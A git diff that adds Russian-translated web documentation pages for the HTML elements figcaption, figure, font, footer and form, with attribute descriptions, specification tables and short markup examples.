+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.10', '&lt;fieldset&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.fieldset")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Другие связанные элементы:
+  <ul>
+   <li>{{HTMLElement("form")}}</li>
+   <li>{{HTMLElement("legend")}}</li>
+   <li>{{HTMLElement("label")}}</li>
+   <li>{{HTMLElement("button")}}</li>
+   <li>{{HTMLElement("select")}}</li>
+   <li>{{HTMLElement("datalist")}}</li>
+   <li>{{HTMLElement("optgroup")}}</li>
+   <li>{{HTMLElement("option")}}</li>
+   <li>{{HTMLElement("textarea")}}</li>
+   <li>{{HTMLElement("keygen")}}</li>
+   <li>{{HTMLElement("input")}}</li>
+   <li>{{HTMLElement("output")}}</li>
+   <li>{{HTMLElement("progress")}}</li>
+   <li>{{HTMLElement("meter")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/figcaption/index.html b/files/ru/web/html/element/figcaption/index.html
new file mode 100644
index 0000000000..f696e4537f
--- /dev/null
+++ b/files/ru/web/html/element/figcaption/index.html
@@ -0,0 +1,90 @@
+---
+title: '<figcaption>: Элемент подписи иллюстрации'
+slug: Web/HTML/Element/figcaption
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Элемент
+translation_of: Web/HTML/Element/figcaption
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;figcaption&gt;</code> или элемент подписи иллюстрации</strong> представляет собой подпись (заголовок) или легенду, описывающую остальную часть содержимого родистельского элемента {{HTMLElement("figure")}}.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figcaption.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Источник для этого интерактивного пример хранится в GitHub репозитории. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Элемент {{HTMLElement("figure")}}; элемент <code>&lt;figcaption&gt;</code> должен быть первым или последним потомком.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент принимает только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Для примеров <code>&lt;figcaption&gt;</code> смотрите {{HTMLElement("figure")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.figcaption")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("figure")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/figure/index.html b/files/ru/web/html/element/figure/index.html
new file mode 100644
index 0000000000..2842179eff
--- /dev/null
+++ b/files/ru/web/html/element/figure/index.html
@@ -0,0 +1,175 @@
+---
+title: '<figure>: Элемент иллюстрации с необязательной подписью'
+slug: Web/HTML/Element/figure
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - Reference
+  - figure
+  - Диаграммы
+  - Иллюстрации
+  - Представление
+  - Элемент
+translation_of: Web/HTML/Element/figure
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;figure&gt;</code> (Иллюстрация с необязательной подписью)</strong> представляет самостоятельный контент, часто с подписью (заголовком), которая указывается с помощью элемента ({{HTMLElement("figcaption")}}).</span> Диаграмма и её подпись представляет собой единое целое.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figure.html","tabbed-shorter")}}</div>
+
+<div class="hidden">Источник для этого интерактивного пример хранится в GitHub репозитории. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток" title="HTML/Content categories#Flow content">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прочие_модели_контента">секционный корень</a>, явный контент</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td>Элемент {{HTMLElement("figcaption")}} за которым следует <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток" title="HTML/Content categories#Flow content">основной поток</a>; или поточный контент за которым следует элемент {{HTMLElement("figcaption")}}; или поточный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Любые элементы принимающие <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток" title="HTML/Content categories#Flow content">основной поток</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент поддерживает только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<ul>
+ <li>Обычно <code>&lt;figure&gt;</code> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесен в другую часть документа или в приложение не нарушив основной поток.</li>
+ <li>Являясь <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прочие_модели_контента" title="Sections and Outlines of an HTML5 document#Sectioning root">секционным корнем</a>, структура содержимого элемента <code>&lt;figure&gt;</code> исключается из основной структуры документа.</li>
+ <li>Подпись может быть связана с элементом <code>&lt;figure&gt;</code> с помощью вставки {{HTMLElement("figcaption")}} внутри него (как первый или последний потомок). Первый элемент <code>&lt;figcaption&gt;</code> в иллюстрации предоставляет её подпись (заголовок).</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Иллюстрации">Иллюстрации</h3>
+
+<pre class="brush: html">&lt;!-- Just an image --&gt;
+&lt;figure&gt;
+  &lt;img
+  src="https://developer.mozilla.org/static/img/favicon144.png"
+  alt="The beautiful MDN logo."&gt;
+&lt;/figure&gt;
+
+&lt;!-- Image with a caption --&gt;
+&lt;figure&gt;
+  &lt;img
+  src="https://developer.mozilla.org/static/img/favicon144.png"
+  alt="The beautiful MDN logo."&gt;
+  &lt;figcaption&gt;MDN Logo&lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<div>{{EmbedLiveSample("Иллюстрации", "100%", 375)}}</div>
+
+<h3 id="Фрагменты_кода">Фрагменты кода</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;figcaption&gt;Get browser details using &lt;code&gt;navigator&lt;/code&gt;.&lt;/figcaption&gt;
+  &lt;pre&gt;
+function NavigatorExample() {
+  var txt;
+  txt = "Browser CodeName: " + navigator.appCodeName + "; ";
+  txt+= "Browser Name: " + navigator.appName + "; ";
+  txt+= "Browser Version: " + navigator.appVersion  + "; ";
+  txt+= "Cookies Enabled: " + navigator.cookieEnabled  + "; ";
+  txt+= "Platform: " + navigator.platform  + "; ";
+  txt+= "User-agent header: " + navigator.userAgent  + "; ";
+  console.log("NavigatorExample", txt);
+}
+  &lt;/pre&gt;
+&lt;/figure&gt;</pre>
+
+<div>{{EmbedLiveSample("Фрагменты_кода", "100%", 250)}}</div>
+
+<h3 id="Цитирования">Цитирования</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;figcaption&gt;&lt;cite&gt;Edsger Dijkstra:&lt;/cite&gt;&lt;/figcaption&gt;
+  &lt;blockquote&gt;If debugging is the process of removing software bugs,
+  then programming must be the process of putting them in.&lt;/blockquote&gt;
+&lt;/figure&gt;
+</pre>
+
+<div>{{EmbedLiveSample("Цитирования")}}</div>
+
+<blockquote>"Если отладка — процесс удаления ошибок, то программирование должно быть процессом их внесения", — Эдсгер Дейкстра.</blockquote>
+
+<h3 id="Стихи">Стихи</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;p style="white-space:pre"&gt;
+Bid me discourse, I will enchant thine ear,
+  Or like a fairy trip upon the green,
+Or, like a nymph, with long dishevell'd hair,
+  Dance on the sands, and yet no footing seen:
+Love is a spirit all compact of fire,
+  Not gross to sink, but light, and will aspire.&lt;/p&gt;
+  &lt;figcaption&gt;&lt;cite&gt;Venus and Adonis&lt;/cite&gt;,
+    by William Shakespeare&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<div>{{EmbedLiveSample("Стихи", "100%", 250)}}</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>No changes from HTML 5.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.figure")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("figcaption")}}.</li>
+</ul>
diff --git a/files/ru/web/html/element/font/index.html b/files/ru/web/html/element/font/index.html
new file mode 100644
index 0000000000..b3c1310ab8
--- /dev/null
+++ b/files/ru/web/html/element/font/index.html
@@ -0,0 +1,63 @@
+---
+title: <font>
+slug: Web/HTML/Element/font
+translation_of: Web/HTML/Element/font
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p><em>HTML фонт элемент</em>(<code>&lt;font&gt;</code>) определяет размер шрифта, цвета и лицо для его содержимого</p>
+
+<div class="note">
+<pre class="tw-data-text tw-ta tw-text-medium" dir="ltr" id="tw-target-text" style="text-align: left; height: 72px;"><span lang="ru">Примечание по применению:</span></pre>
+
+<p><strong>Не используйте этот элемент! </strong></p>
+
+<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 120px;"><span lang="ru">Хотя он был нормализован в HTML 3.2, он был устаревшим в HTML 4.01, в то время как все элементы, относящиеся только к стилю, затем устарели в HTML5.</span></pre>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 336px;"><span lang="ru">Начиная с HTML 4, HTML больше не передает информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS.
+
+Предыдущее поведение элемента {{HTMLElement ("font")}} может быть достигнуто и даже лучше контролироваться с помощью CSS CSS-свойств шрифтов.</span></pre>
+
+<p> </p>
+</div>
+
+<h2 id="Атрибут">Атрибут</h2>
+
+<p>Как и все другие элементы, этот элемент поддерживается с  <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("color")}}</dt>
+ <dd>
+ <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 120px;"><span lang="ru">Этот атрибут устанавливает цвет текста, используя либо именованный цвет, либо цвет, указанный в шестнадцатеричном формате #RRGGBB.</span></pre>
+ </dd>
+ <dt>{{htmlattrdef("face")}}</dt>
+ <dd>
+ <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 312px;"><span lang="ru">Этот атрибут содержит список разделенных запятыми одного или нескольких имен шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.</span></pre>
+ </dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>
+ <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 336px;"><span lang="ru">Этот атрибут определяет размер шрифта как числовое или относительное значение. Числовые значения варьируются от 1 до 7, при этом 1 является наименьшим, а 3 - значением по умолчанию. Его можно определить с использованием относительного значения, например, +2 или -3, которые устанавливают его относительно значения атрибута {{htmlattrxref ("size", "basefont")}} {{HTMLElement ("basefont") }}, или по отношению к 3, значение по умолчанию, если оно не существует.</span></pre>
+ </dd>
+</dl>
+
+<h2 id="DOM_interface">DOM interface</h2>
+
+<p> </p>
+
+<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 48px;"><span lang="ru">Этот элемент реализует интерфейс {{domxref ("HTMLFontElement")}}</span></pre>
+
+<p> </p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.font")}}</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/footer/index.html b/files/ru/web/html/element/footer/index.html
new file mode 100644
index 0000000000..5edcb6f5d5
--- /dev/null
+++ b/files/ru/web/html/element/footer/index.html
@@ -0,0 +1,113 @@
+---
+title: <footer>
+slug: Web/HTML/Element/footer
+tags:
+  - Element
+  - HTML
+  - Разделы
+  - Разделы HTML
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/footer
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary"><strong>HTML-элемент</strong> <strong> <code>&lt;footer&gt;</code> </strong>представляет собой нижний колонтитул (футер, подвал) для своего ближайшего <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Задание_разделов_в_HTML5">секционного контента</a> или <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">секционного корня</a>. Футер обычно содержит информацию об авторе раздела, информацию об авторском праве или ссылки на связанные документы.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/footer.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th>Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Контент основного потока</a>, кроме <code>&lt;footer&gt;</code> и {{HTMLElement("header")}}.</td>
+  </tr>
+  <tr>
+   <th>Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th>Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code>&lt;footer&gt;</code> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("header")}} или другого элемента <code>&lt;footer&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th>Разрешенные ARIA роли</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th>DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<ul>
+ <li>Заключите информацию об авторе в элемент {{HTMLElement("address")}}, который может быть добавлен в элемент <code>&lt;footer&gt;</code>.</li>
+ <li>Элемент <code>&lt;footer&gt;</code> не относится к секционному контенту, а значит не создает новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Разделы и структура документа HTML5">структуре HTML-документа</a>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;footer&gt;
+  Какая-то информация об авторском праве или может
+  информация об авторе статьи?
+&lt;/footer&gt;
+</pre>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>У программа чтения с экрана <a href="https://help.apple.com/voiceover/info/guide/">VoiceOver</a> есть проблема, при которой она не читает элемент <code>&lt;footer&gt;</code> (не добавляет <a href="/ru/docs/Learn/Доступность/WAI-ARIA_basics#SignpostsLandmarks">роль-ориентир</a> элемента <code>&lt;footer&gt;</code> в список ориентиров). Чтобы решить эту проблему добавьте <code>role="contentinfo"</code> в элемент <code>&lt;footer&gt;</code>.</p>
+
+<ul>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=146930">WebKit Bugzilla: 146930 - AX: Нативные элементы HTML (header, footer, main, aside, nav) должны работать также, как ориентиры ARIA, но иногда они этого не делают</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics#the-footer-element', '&lt;footer&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-footer-element', '&lt;footer&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.footer")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Связанные с этим разделом элементы: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("section")}}, {{HTMLElement("address")}};</li>
+ <li class="last"><a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Разделы и структура документа HTML5">Разделы и структура документа HTML5.</a>.</li>
+ <li class="last"><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Contentinfo_role">ARIA: роль сontentinfo</a></li>
+</ul>
diff --git a/files/ru/web/html/element/form/index.html b/files/ru/web/html/element/form/index.html
new file mode 100644
index 0000000000..fb2506c7cc
--- /dev/null
+++ b/files/ru/web/html/element/form/index.html
@@ -0,0 +1,199 @@
+---
+title: <form>
+slug: Web/HTML/Element/form
+translation_of: Web/HTML/Element/form
+---
+<h2 id="Summary" name="Summary">Резюме</h2>
+
+<p><em>Элемент HTML form</em> (<code>&lt;form&gt;</code>) представляет (собой) раздел документа, содержащий интерактивные элементы управления, которые позволяют пользователю отправлять информацию на веб-сервер.</p>
+
+<p>Можно использовать <code><a href="/en-US/docs/CSS/%3Avalid" rel="custom">:valid</a></code> и <code><a href="/en-US/docs/CSS/%3Ainvalid" rel="custom">:invalid</a></code> CSS псевдоклассы для стилизации <code>&lt;form&gt;</code> элемента, в зависимости от того, валиден или нет конкретный элемент {{domxref("HTMLFormElement.elements", "elements")}} внутри формы.</p>
+
+<h2 id="Usage_Context" name="Usage_Context">Контекст Использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Категория содержимого</td>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a></td>
+  </tr>
+  <tr>
+   <td>Разрешённое содержимое</td>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, но не содержащий <code>&lt;form&gt;</code> элементов</td>
+  </tr>
+  <tr>
+   <td>Пропуск тега</td>
+   <td>Нет. И открывающий и закрывающий тег должны быть.</td>
+  </tr>
+  <tr>
+   <td>Нормативный документ</td>
+   <td><a href="http://www.w3.org/TR/html5/forms.html#the-form-element" title="http://www.w3.org/TR/html5/forms.html#the-form-element">HTML5, section 4.10.3</a> (<a href="http://www.w3.org/TR/1999/REC-html401-19991224/interact/forms.html#h-17.3" title="http://www.w3.org/TR/1999/REC-html401-19991224/interact/forms.html#h-17.3">HTML4.01, section 17.3</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<p>Как и все HTML элементы, этот элемент поддерживает <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("accept")}} {{HTMLVersionInline(4)}} {{obsolete_inline}}</dt>
+ <dd>Список типов содержимого, разделенных запятой, которые принимает сервер.
+ <div class="note"><strong>Примечание об использовании:</strong> Этот атрибут был удалён в HTML5 и его не следует больше использовать. Взамен, используйте <span class="st">{{htmlattrxref("accept", "input")}}</span> атрибут заданного {{HTMLElement("input")}} элемента.</div>
+ </dd>
+ <dt>{{htmlattrdef("accept-charset")}}</dt>
+ <dd>Разделенные пробелами <a href="/en-US/docs/Web/Guide/Localizations_and_character_encodings">символьные кодировки</a>, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает <a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">ту же кодировку что и у страницы</a>.<br>
+ (В предыдущей версии HTML, различные кодировки могли быть разделены запятыми.)</dd>
+ <dt>{{htmlattrdef("action")}}</dt>
+ <dd>URI-адрес программы, которая обрабатывает информацию переданную через форму. Это значение может быть переписано с помощью атрибута {{htmlattrxref("formaction", "button")}} на {{HTMLElement("button")}} или {{HTMLElement("input")}} элементе.</dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Указывает, могут ли элементы управления автоматически быть дописаны в форме браузером. Эта настройка может быть переписана с помощью атрибута <code>autocomplete</code> на элементе формы. Возможные значения:
+ <ul>
+  <li><code>off</code>: Пользователь должен явно ввести значение в каждое поле или документ предоставит свой собственный метод автодополнения; браузер автоматически не дополняет записи.</li>
+  <li><code>on</code>: Браузер может автоматически дополнить значения, основанные на значениях, которые пользователь уже вводил, в течение предыдущего использования формы.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Примечание: </strong>Если вы установили значение <code>off</code> <code>для</code> <code>autocomplete</code> атрибута ​​​​​формы, из-за того, что документ предоставляет своё собственное автодополнение, то вам следует также установить значение <code>off</code> для <code>autocomplete</code> каждого {{HTMLElement("input")}} элемента формы, которые документ может автоматически дополнить. Подробнее, смотрите {{anch("Google Chrome notes")}}.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("enctype")}}</dt>
+ <dd>Когда значение атрибута method равно <code>post</code>, атрибут - <a href="http://en.wikipedia.org/wiki/Mime_type" title="http://en.wikipedia.org/wiki/Mime_type">MIME тип</a> содержимого, которое используется, чтобы передать форму на сервер. Возможные значения:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: Значение по умолчанию, если атрибут не задан.</li>
+  <li><code>multipart/form-data</code>: Используйте это значение, если пользуетесь элементом {{HTMLElement("input")}} атрибутом <code>type</code> установленным в "file".</li>
+  <li><code>text/plain (HTML5)</code></li>
+ </ul>
+
+ <p>Это значение может быть переписано атрибутом {{htmlattrxref("formenctype", "button")}} на элементе {{HTMLElement("button")}} или {{HTMLElement("input")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("method")}}</dt>
+ <dd><a href="/en-US/docs/HTTP" title="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP</a> метод, который браузер использует, для отправки формы. Возможные значения:
+ <ul>
+  <li><code>post</code>: Соответствует HTTP <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5">POST методу</a> ; данные из формы включаются в тело формы и посылаются на сервер.</li>
+  <li><code>get</code>: Соответствует <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3">GET методу</a>; данные из формы добавляются к URI атрибута <code>action</code>, их разделяет '?', и полученный URI посылается на сервер. Используйте этот метод, когда форма содержит только ASCII символы и не имеет побочного эффекта.</li>
+ </ul>
+
+ <p>Это значение может быть переписано атрибутом {{htmlattrxref("formmethod", "button")}} на {{HTMLElement("button")}} или {{HTMLElement("input")}} элементе.</p>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Имя формы. В HTML 4 его использование запрещено (<code>id</code> следует использовать взамен). Оно должно быть уникальным и не пустым среди всех форм в документе в HTML 5.</dd>
+ <dt>{{htmlattrdef("novalidate")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Это Boolean атрибут показывает, что форма не проверяется на валидность, когда отправляется серверу. Если атрибут пропущен (и поэтому форма проверяется), эта настройка по умолчанию, может быть переписана атрибутом {{htmlattrxref("formnovalidate", "button")}} на {{HTMLElement("button")}} или {{HTMLElement("input")}} элементе, принадлежащем форме.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Имя или ключевое слово, показывающее где отображать ответ, который будет получен, после отправки формы. В HTML 4, это имя или ключевое слово для фрейма. В HTML5, это имя или ключевое слово, <em>контекста</em> <em>просмотра </em>(например, вкладка, окно, или линейный фрейм). Следующие ключевые слова имееют специальное значение:
+ <ul>
+  <li><code>_self</code>: Загружает ответ в том же самом фрейме HTML 4 (или HTML5 контексте просмотра) как текущий. Это значение по умолчанию, если атрибут не указан.</li>
+  <li><code>_blank</code>: Загружает ответ в новом безымянном окне HTML 4 или HTML5 контексте просмотра.</li>
+  <li><code>_parent</code>: Загружает ответ HTML 4 в родительском наборе фрейма для текущего фрейма или HTML5 родительский контекст просмотра для текущего просмотра. Если нет предка, эта опция действует точно так же как as <code>_self</code>.</li>
+  <li><code>_top</code>: HTML 4: Загружает ответ в полное, оригинальное окно, закрывая все другие фреймы. HTML5: Загружает ответ в верхний уровень контекста просмотра (т.е., контекст просмотра это предок текущего и не имеет других предков). Если нет предка, эта опция действует точно так же как as <code>_self</code>.</li>
+ </ul>
+
+ <p>HTML5: Это значение может быть перезаписано {{htmlattrxref("formtarget", "button")}} атрибутом на {{HTMLElement("button")}} или {{HTMLElement("input")}} элементе.</p>
+ </dd>
+</dl>
+
